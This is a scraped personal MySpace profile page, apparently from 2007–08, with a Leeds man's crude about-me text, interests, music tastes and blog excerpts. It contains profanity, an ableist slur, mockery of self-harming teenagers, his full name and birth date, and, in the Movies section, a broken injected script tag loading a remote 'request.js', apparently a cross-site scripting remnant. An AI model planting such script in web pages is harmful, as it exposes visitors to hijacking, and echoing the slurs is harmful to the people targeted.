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Andy

Don't make me he-bitch man slap you!

About Me

HOW DO EVERYONE,MY NAME'S ANDY AND I'M A SOUND LAD IF I DO SAY SO MYSELF (LOOK NO SHALLOW "TORSO" SHOTS IN MY PICS),HOW'S THAT FOR STARTERS!?!I'M FUNNY,HONEST,GENUINE,TALKATIVE,DIRECT,HAVE A LOT OF SELF RESPECT AND DON'T TAKE CRAP OFF ANYONE SO BE WARNED MENTAL MYSPACE PEOPLES!I DON'T WORK ANYMORE AS HAVE THE MEDICAL CONDITION CYSTIC FIBROSIS,IF YOU DON'T KNOW WHAT IT IS THEN CHECK OUT MY BLOG ON IT OR GO TO WWW.CFTRUST.ORG.UK AS I CAN'T BE ARSED WRITING AN ESSAY ABOUT IT HERE,ALSO I MUST SAY IF YOU HAVE ANY ISSUES WITH THIS IN ANY WAY WHATSOEVER THEN PARDON MY FRENCH AND BASICALLY-GET F*CKED!!!IT'S MADE ME THE PERSON I AM TODAY AND WOULDN'T CHANGE IT FOR THE WORLD!.WHEN I DID WORK I WAS A BAR SUPERVISOR IN LEEDS WHICH WAS TOPS UNTIL THE SMOKEY ATMOSPHERE STARTED KNACKING MY CHEST IN AND I HAD TO RETIRE SO I NOW SPEND MY TIME BEING AN INTERNATIONAL PLAYBOY AND ALL ROUND TOP BLOKE,RESCUING SMALL KITTENS FROM TREES,SAVING DAMSELS IN DISTRESS AND GENERALLY BEING A SHINING LIGHT TO ALL MY FRIENDS AND THE WORLD IN GENERAL.ALL THAT WILL HAVE TO BE PUT ON HOLD FOR THE FORESEEABLE FUTURE THOUGH AS I STARTED COLLEGE IN SEPTEMBER 2007 WHICH IS SCARY BUT EXCITING-KNOWLEDGE IS POWER! ALWAYS UP FOR A LAUGH AND JOKE AS YOU CAN PROBABLY TELL FROM MY PAGE AND PICTURES AND THAT'S HOW I WANT TO SPEND MY LIFE LAUGHING AND HAVING AS MUCH FUN AS POSSIBLE,I CAN TAKE THE PISS OUT OF MYSELF JUST AS MUCH AS OTHER PEOPLE WHICH IS ALWAYS HANDY AND MY SENSE OF HUMOUR CAN BE UN-PC AND RISQUE SOMETIMES BUT I'M A FIRM BELIEVER THAT YOU HAVE TO BE ABLE TO LAUGH AT THE WORST IN LIFE TO GET THROUGH IT OTHERWISE YOU'D GO MENTAL! I'VE BEEN ON MYSPAZZ FOR A WHILE NOW AND I HAVE MET SOME TRULY FANTASTIC PEOPLE ON HERE (AS WELL AS THE OCCASIONAL IDIOT OR TWO UNFORTUNATELY!) AND WOULD LIKE TO MEET MANY MORE SO IF YOU ARE OF SOUND MIND (MOST OF THE TIME) AND GOOD SPIRIT AND ARE UP FOR A GIGGLE THEN GET IN TOUCH AND SAY HELLO AS LIFE IS FOR LIVING!BULLSHITTERS OR SHALLOW FAKES NEED NOT APPLY!!!
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My Interests

HMM...MANY THINGS INCLUDING:LAUGHTER,FOOTBALL,FUN TIMES WITH GOOD PEOPLE,MUSIC,CLUBBING,FUNKY HAIR-ON WOMEN!,DANCING (THROWING SOME SHAPES!),COPIOUS AMOUNTS OF JACK DANIELS!SUNSHINE,DEBAUCHERY!,BEING A PASSIONATE PERSON,BASSETT'S FRUIT ALLSORTS,HAVING A GOOD DEBATE!,READING,T'INTERWEB,BEING OPINIONATED!,RIDING MY MOUNTAIN BIKE,PEOPLE WATCHING/BITCHING,EXPERIENCING NEW THINGS,GROLSCH*HIC*!VIDEO GAMES,MEETING NEW PEOPLE,RANDOMNESS,ART,CULTURE,BEING CREATIVE,EATING OUT,MOVIES,TRAVELLING,BEING A WIND-UP MERCHANT,WILD NIGHTS OUT/QUIET NIGHTS IN!
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SAY HELLO TO MY PET MONKEY,HE'S A BIT RED FROM ME SPANKING HIM ALL THE TIME!

adopt your own virtual pet!I LIKE TO WORK OUT,IT IS NICE!!!HIGH FIVE!!!

I'd like to meet:

KATE BECKINSALE...(DROOLS!),WELL THAT WOULD BE NICE BUT FAILING THAT ERM...BEZ!SIMON COWELL!!!...OR...BEAUTIFUL FUN LOVING PARTY PEOPLE OF ANY RACE OR GENDER THAT LOVE TO LIVE LIFE AND LAUGH!!! P.S. I DO NOT WANT REQUESTS/MESSAGES FROM: 1.PORN COMPANIES/WEBCAM SLUTS (WHY SHOULD I HAVE TO PAY TO HAVE A WANK WHEN I CAN DO IT FOR FREE!?!). 2.SMELLY MOSHERS/EMO'S (I MEAN THE STUPID LITTLE KIDS THAT THINK IT'S COOL TO HANG AROUND IN GANGS LOOKING DEPRESSED AND LIKE CUTTING THEMSELVES)-SAD BASTARDS! 3.RELIGIOUS FANATICS. 4.SAD-ATTENTION SEEKERS!,YES YOU TITS ON HERE DOING THE VAIN SILLY POUTY-POSING IN YOUR PICTURES WITH YOUR TITS/ARSES/FLANGE/SIX-PACK ON SHOW AND THAT JUST WANT PEOPLE BOMBARDING YOU WITH "YOUR HOT" STYLE MESSAGES-GET A LIFE-AND SOME SELF RESPECT!!! 5.CRAP PROMO COMPANIES. 6.SHIT BANDS. 7.MISERABLE BASTARDS. 8.PeOpLe ThAt TyPe LiKe ThIs!?!WHY!?! 9.CHAVS-DEATH TO YOU ALL!!! 10.LAST BUT NOT LEAST...EMOTIONALLY FUCKED UP WOMEN THAT HAVE ISSUES THEY DON'T HAVE THE BALLS TO FACE UPTO AND SORT OUT!RECOGNIZE!

Music:

I LOVE HOUSE MUSIC! DEEP,DIRTY,FILTHY,ELECTRO,FUNKY,SEXY,UPLIFTING HOUSE BUT ALSO LIKE A WIDE SELECTION OF OTHER STUFF,ANYTHING FROM INDIE TO MOTOWN FLOATS MY BOAT,HERE'S JUST A FEW EXAMPLES OF MY TASTES,THERE'S FAR TOO MANY TO LIST!.P.S.ANYONE THAT LISTENS TO SHITTY 'CLUBLAND' TYPE COMPILATIONS THEN PLEASE MOVE ON...

Movies:

MANY DIFFERENT TYPES OF MOVIES WITH THE OCCASIONAL BIT OF QUALITY PORN THROWN IN TOO (HEY,AT LEAST I'M HONEST),HERE'S A FEW FAVOURITES... ...... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write(".....{}");}..

Television:

MAINLY COMEDY OR GOOD DRAMA,BIT OF A REALITY TV WHORE AND THE OCCASIONAL WEIRD DOCUMENTARY,YOU CAN'T BEAT 80'S CARTOONS EITHER...

Books:

YES,YES,I COLLECT COMIC BOOKS AND GRAPHIC NOVELS,GET LAUGHING NOW PEOPLE BUT THESE BABIES WILL BE WORTH SOME SERIOUS MOOLAH SOMEDAY-KER-CHING-!ACTUALLY IT'S JUST SOMETHING I'VE CONTINUED TO DO FROM MY YOUTH,WHO WANTS TO GROW UP!?!

Heroes:

SOME OF THESE ARE CHILDHOOD HEROES,OTHERS ARE JUST PEOPLE I ADMIRE OR THAT AMUSE ME

My Blog

HOW WELL DO YOU KNOW ME?

The race is on......this is funny. YOU fill in the blanks about ME ... even if you don't have any idea....and send it back to ME (via reply). But first post a blank one out to all your friends so they...
Posted by Andy on Fri, 04 Jan 2008 08:02:00 PST

LEGO IS FUN!

Ladies and gentlemen,i present.....LEGO HAWKINGS!!!...
Posted by Andy on Mon, 05 Nov 2007 01:32:00 PST

GOD PONDERS HIS BIGGEST MISTAKE...EVER!!!

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Posted by Andy on Sat, 15 Sep 2007 12:09:00 PST

SOMETHING TO OFFEND EVERYONE...

What's the difference between a porcupine and BMW?A porcupine has the pricks on the outside.What did the blonde say when she found out she was pregnant?'Are you sure it's mine?'What is a Yankee?The sa...
Posted by Andy on Mon, 10 Sep 2007 06:05:00 PST

TRANSFORMERS-FOR WOMEN!


Posted by Andy on Fri, 03 Aug 2007 04:23:00 PST

MEMORIES...

..> Memories   If you read this, if your eyes are passing over this right now, even if we don't speak often, please post a comment with a memory of you and me. it can be anything you want- g...
Posted by Andy on Tue, 31 Jul 2007 03:25:00 PST

GF/FB/PROMISCUOS SEX APPLICATION...

would you ever give me your number?would you ask me on a date?would you kiss me on the date?do you secretely (but this is the only way to tell me)  want to be with me?do you or have you ever had ...
Posted by Andy on Fri, 20 Jul 2007 03:31:00 PST

WHAT IS YOUR SEX STYLE?

You scored as Hot, You are Hot, you scream and are wild, people love doing anything sexual with you.Hot69% Soft69% Sweet56% Wet50% Violent50% Exciting31% Shy6% Awkward0% What is your sexual style?crea...
Posted by Andy on Mon, 16 Jul 2007 05:00:00 PST

ULTIMATE ABOUT ME...

Basics:Name:Andrew WardDate of Birth:26/09/1978Birthplace:St.James's Hospital,LeedsCurrent Location:My living room,also in LeedsEye Color:Inner ring of brown with outer ring of grey/blue-unique!Hair C...
Posted by Andy on Sun, 17 Jun 2007 05:10:00 PST

SHEMAG SCARVES.....

Are for twats!!!!!Your not cool or trendy walking down the streets with a bit of fucking tatty rag wrapped round your neck in hot weather!!!Especially the cheapo versions too-with the same colour as y...
Posted by Andy on Fri, 27 Apr 2007 09:09:00 PST